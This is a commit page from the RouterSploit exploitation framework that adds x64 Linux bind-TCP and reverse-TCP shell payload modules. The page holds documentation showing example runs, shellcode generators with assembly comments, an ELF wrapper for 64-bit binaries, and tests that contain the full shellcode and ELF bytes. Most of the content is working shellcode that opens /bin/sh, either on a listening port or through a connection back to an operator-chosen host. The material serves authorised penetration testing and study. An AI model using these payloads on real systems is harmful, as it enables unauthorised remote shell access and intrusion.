Skip to content

Commit 4e77c24

Browse files
authored
Payloads x64 (#455)
* Adding x64 payloads * Fixing x64 bind and reverse payloads, adding tests and docs
1 parent 5eeb6e9 commit 4e77c24

File tree

9 files changed

+302
-7
lines changed

9 files changed

+302
-7
lines changed
Lines changed: 31 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,31 @@
1+
## Description
2+
3+
Module generates payload that creates interactive tcp bind shell for X64 architecture.
4+
5+
## Verification Steps
6+
7+
1. Start `./rsf.py`
8+
2. Do: `use payloads/x64/bind_tcp`
9+
3. Do: `set rport 4321`
10+
4. Do: `run`
11+
5. Module generates x64 bind shell tcp payload
12+
13+
## Scenarios
14+
15+
```
16+
rsf > use payloads/x64/bind_tcp
17+
rsf (X64 Bind TCP) > set rport 4321
18+
[+] rport => 4321
19+
rsf (X64 Bind TCP) > run
20+
[*] Running module...
21+
[*] Generating payload
22+
[+] Building payload for python
23+
payload = (
24+
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
25+
"\xc7\x04\x24\x02\x00\x10\xe1\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
26+
"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
27+
"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
28+
"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
29+
"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
30+
)
31+
```
Lines changed: 32 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
## Description
2+
3+
Module generates payload that creates interactive tcp reverse shell for X64 architecture.
4+
5+
## Verification Steps
6+
7+
1. Start `./rsf.py`
8+
2. Do: `use payloads/x64/reverse_tcp`
9+
3. Do: `set lhost 192.168.1.4`
10+
4. Do: `set lport 4321`
11+
5. Module generates x64 reverse shell tcp payload
12+
13+
## Scenarios
14+
15+
```
16+
rsf > use payloads/x64/reverse_tcp
17+
rsf (X64 Reverse TCP) > set lhost 192.168.1.4
18+
[+] lhost => 192.168.1.4
19+
rsf (X64 Reverse TCP) > set lport 4321
20+
[+] lport => 4321
21+
rsf (X64 Reverse TCP) > run
22+
[*] Running module...
23+
[*] Generating payload
24+
[+] Building payload for python
25+
payload = (
26+
"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
27+
"\xb9\x02\x00\x10\xe1\xc0\xa8\x01\x04\x51\x48\x89\xe6\x6a\x10"
28+
"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
29+
"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
30+
"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
31+
)
32+
```

routersploit/core/exploit/payloads.py

Lines changed: 28 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -72,6 +72,16 @@
7272
b"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08"
7373
b"\x00\x80\x04\x08\xef\xbe\xad\xde\xef\xbe\xad\xde\x07\x00\x00\x00"
7474
b"\x00\x10\x00\x00"
75+
),
76+
Architectures.X64: (
77+
b"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"
78+
b"\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00"
79+
b"\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
80+
b"\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00"
81+
b"\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
82+
b"\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00"
83+
b"\x41\x41\x41\x41\x41\x41\x41\x41\x42\x42\x42\x42\x42\x42\x42\x42"
84+
b"\x00\x10\x00\x00\x00\x00\x00\x00"
7585
)
7686
}
7787

@@ -155,14 +165,25 @@ def run(self):
155165
def generate_elf(self, data):
156166
elf = self.header + data
157167

158-
if self.bigendian:
159-
p_filesz = pack(">L", len(elf))
160-
p_memsz = pack(">L", len(elf) + len(data))
161-
else:
162-
p_filesz = pack("<L", len(elf))
163-
p_memsz = pack("<L", len(elf) + len(data))
168+
if elf[4] == 1: # ELFCLASS32 - 32 bit
169+
if self.bigendian:
170+
p_filesz = pack(">L", len(elf))
171+
p_memsz = pack(">L", len(elf) + len(data))
172+
else:
173+
p_filesz = pack("<L", len(elf))
174+
p_memsz = pack("<L", len(elf) + len(data))
175+
176+
content = elf[:0x44] + p_filesz + p_memsz + elf[0x4c:]
177+
elif elf[4] == 2: # ELFCLASS64 - 64 bit
178+
if self.bigendian:
179+
p_filesz = pack(">Q", len(elf))
180+
p_memsz = pack(">Q", len(elf) + len(data))
181+
else:
182+
p_filesz = pack("<Q", len(elf))
183+
p_memsz = pack("<Q", len(elf) + len(data))
184+
185+
content = elf[:0x60] + p_filesz + p_memsz + elf[0x70:]
164186

165-
content = elf[:0x44] + p_filesz + p_memsz + elf[0x4c:]
166187
return content
167188

168189
@staticmethod

routersploit/modules/payloads/x64/__init__.py

Whitespace-only changes.
Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
from routersploit.core.exploit import *
2+
from routersploit.core.exploit.payloads import (
3+
ArchitectureSpecificPayload,
4+
Architectures,
5+
BindTCPPayloadMixin,
6+
)
7+
8+
9+
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
10+
__info__ = {
11+
"name": "X64 Bind TCP",
12+
"description": "Creates interactive tcp bind shell for X64 architecture.",
13+
"authors": (
14+
"ricky", # metasploit module
15+
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
16+
)
17+
}
18+
19+
architecture = Architectures.X64
20+
21+
def generate(self):
22+
bind_port = utils.convert_port(self.rport)
23+
24+
return (
25+
b"\x6a\x29" + # pushq $0x29
26+
b"\x58" + # pop %rax
27+
b"\x99" + # cltd
28+
b"\x6a\x02" + # pushq $0x2
29+
b"\x5f" + # pop %rdi
30+
b"\x6a\x01" + # pushq $0x1
31+
b"\x5e" + # pop %rsi
32+
b"\x0f\x05" + # syscall
33+
b"\x48\x97" + # xchg %rax,%rdi
34+
b"\x52" + # push %rdx
35+
b"\xc7\x04\x24\x02\x00" + # movl $0xb3150002,(%rsp)
36+
bind_port + # port
37+
b"\x48\x89\xe6" + # mov %rsp,%rsi
38+
b"\x6a\x10" + # pushq $0x10
39+
b"\x5a" + # pop %rdx
40+
b"\x6a\x31" + # pushq $0x31
41+
b"\x58" + # pop %rax
42+
b"\x0f\x05" + # syscall
43+
b"\x6a\x32" + # pushq $0x32
44+
b"\x58" + # pop %rax
45+
b"\x0f\x05" + # syscall
46+
b"\x48\x31\xf6" + # xor %rsi,%rsi
47+
b"\x6a\x2b" + # pushq $0x2b
48+
b"\x58" + # pop %rax
49+
b"\x0f\x05" + # syscall
50+
b"\x48\x97" + # xchg %rax,%rdi
51+
b"\x6a\x03" + # pushq $0x3
52+
b"\x5e" + # pop %rsi
53+
b"\x48\xff\xce" + # dec %rsi
54+
b"\x6a\x21" + # pushq $0x21
55+
b"\x58" + # pop %rax
56+
b"\x0f\x05" + # syscall
57+
b"\x75\xf6" + # jne 33 <dup2_loop>
58+
b"\x6a\x3b" + # pushq $0x3b
59+
b"\x58" + # pop %rax
60+
b"\x99" + # cltd
61+
b"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
62+
b"\x73\x68\x00" + #
63+
b"\x53" + # push %rbx
64+
b"\x48\x89\xe7" + # mov %rsp,%rdi
65+
b"\x52" + # push %rdx
66+
b"\x57" + # push %rdi
67+
b"\x48\x89\xe6" + # mov %rsp,%rsi
68+
b"\x0f\x05" # syscall
69+
)
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
from routersploit.core.exploit import *
2+
from routersploit.core.exploit.payloads import (
3+
ArchitectureSpecificPayload,
4+
Architectures,
5+
ReverseTCPPayloadMixin,
6+
)
7+
8+
9+
class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
10+
__info__ = {
11+
"name": "X64 Reverse TCP",
12+
"description": "Creates interactive tcp reverse shell for X64 architecture.",
13+
"authors": (
14+
"ricky", # metasploit module
15+
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
16+
)
17+
}
18+
19+
architecture = Architectures.X64
20+
21+
def generate(self):
22+
reverse_ip = utils.convert_ip(self.lhost)
23+
reverse_port = utils.convert_port(self.lport)
24+
25+
return (
26+
b"\x6a\x29" + # pushq $0x29
27+
b"\x58" + # pop %rax
28+
b"\x99" + # cltd
29+
b"\x6a\x02" + # pushq $0x2
30+
b"\x5f" + # pop %rdi
31+
b"\x6a\x01" + # pushq $0x1
32+
b"\x5e" + # pop %rsi
33+
b"\x0f\x05" + # syscall
34+
b"\x48\x97" + # xchg %rax,%rdi
35+
b"\x48\xb9\x02\x00" + # movabs $0x100007fb3150002,%rcx
36+
reverse_port + # port
37+
reverse_ip + # ip
38+
b"\x51" + # push %rcx
39+
b"\x48\x89\xe6" + # mov %rsp,%rsi
40+
b"\x6a\x10" + # pushq $0x10
41+
b"\x5a" + # pop %rdx
42+
b"\x6a\x2a" + # pushq $0x2a
43+
b"\x58" + # pop %rax
44+
b"\x0f\x05" + # syscall
45+
b"\x6a\x03" + # pushq $0x3
46+
b"\x5e" + # pop %rsi
47+
b"\x48\xff\xce" + # dec %rsi
48+
b"\x6a\x21" + # pushq $0x21
49+
b"\x58" + # pop %rax
50+
b"\x0f\x05" + # syscall
51+
b"\x75\xf6" + # jne 27 <dup2_loop>
52+
b"\x6a\x3b" + # pushq $0x3b
53+
b"\x58" + # pop %rax
54+
b"\x99" + # cltd
55+
b"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
56+
b"\x73\x68\x00" + #
57+
b"\x53" + # push %rbx
58+
b"\x48\x89\xe7" + # mov %rsp,%rdi
59+
b"\x52" + # push %rdx
60+
b"\x57" + # push %rdi
61+
b"\x48\x89\xe6" + # mov %rsp,%rsi
62+
b"\x0f\x05" # syscall
63+
)

tests/payloads/x64/__init__.py

Whitespace-only changes.
Lines changed: 40 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,40 @@
1+
from routersploit.modules.payloads.x64.bind_tcp import Exploit
2+
3+
4+
# bind tcp payload with rport=4321
5+
bind_tcp = (
6+
b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
7+
b"\xc7\x04\x24\x02\x00\x10\xe1\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
8+
b"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
9+
b"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
10+
b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
11+
b"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
12+
)
13+
14+
# elf x64 bind tcp
15+
elf_x64_bind_tcp = (
16+
b"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
17+
b"\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00"
18+
b"\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
19+
b"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00"
20+
b"\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00"
21+
b"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
22+
b"\x40\x00\x00\x00\x00\x00\xce\x00\x00\x00\x00\x00\x00\x00\x24"
23+
b"\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00"
24+
b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x52"
25+
b"\xc7\x04\x24\x02\x00\x10\xe1\x48\x89\xe6\x6a\x10\x5a\x6a\x31"
26+
b"\x58\x0f\x05\x6a\x32\x58\x0f\x05\x48\x31\xf6\x6a\x2b\x58\x0f"
27+
b"\x05\x48\x97\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
28+
b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
29+
b"\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
30+
)
31+
32+
33+
def test_payload_generation():
34+
""" Test scenario - payload generation """
35+
36+
payload = Exploit()
37+
payload.rport = 4321
38+
39+
assert payload.generate() == bind_tcp
40+
assert payload.generate_elf(bind_tcp) == elf_x64_bind_tcp
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
from routersploit.modules.payloads.x64.reverse_tcp import Exploit
2+
3+
4+
# reverse tcp with lhost=192.168.1.4 lport=4321
5+
reverse_tcp = (
6+
b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
7+
b"\xb9\x02\x00\x10\xe1\xc0\xa8\x01\x04\x51\x48\x89\xe6\x6a\x10"
8+
b"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
9+
b"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
10+
b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
11+
)
12+
13+
# elf x64 reverse tcp
14+
elf_x64_reverse_tcp = (
15+
b"\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00"
16+
b"\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00"
17+
b"\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
18+
b"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00"
19+
b"\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00"
20+
b"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00"
21+
b"\x40\x00\x00\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x0c"
22+
b"\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00"
23+
b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48"
24+
b"\xb9\x02\x00\x10\xe1\xc0\xa8\x01\x04\x51\x48\x89\xe6\x6a\x10"
25+
b"\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58"
26+
b"\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
27+
b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05"
28+
)
29+
30+
31+
def test_payload_generation():
32+
""" Test scenario - payload generation """
33+
34+
payload = Exploit()
35+
payload.lhost = "192.168.1.4"
36+
payload.lport = 4321
37+
38+
assert payload.generate() == reverse_tcp
39+
assert payload.generate_elf(reverse_tcp) == elf_x64_reverse_tcp

0 commit comments

Comments
 (0)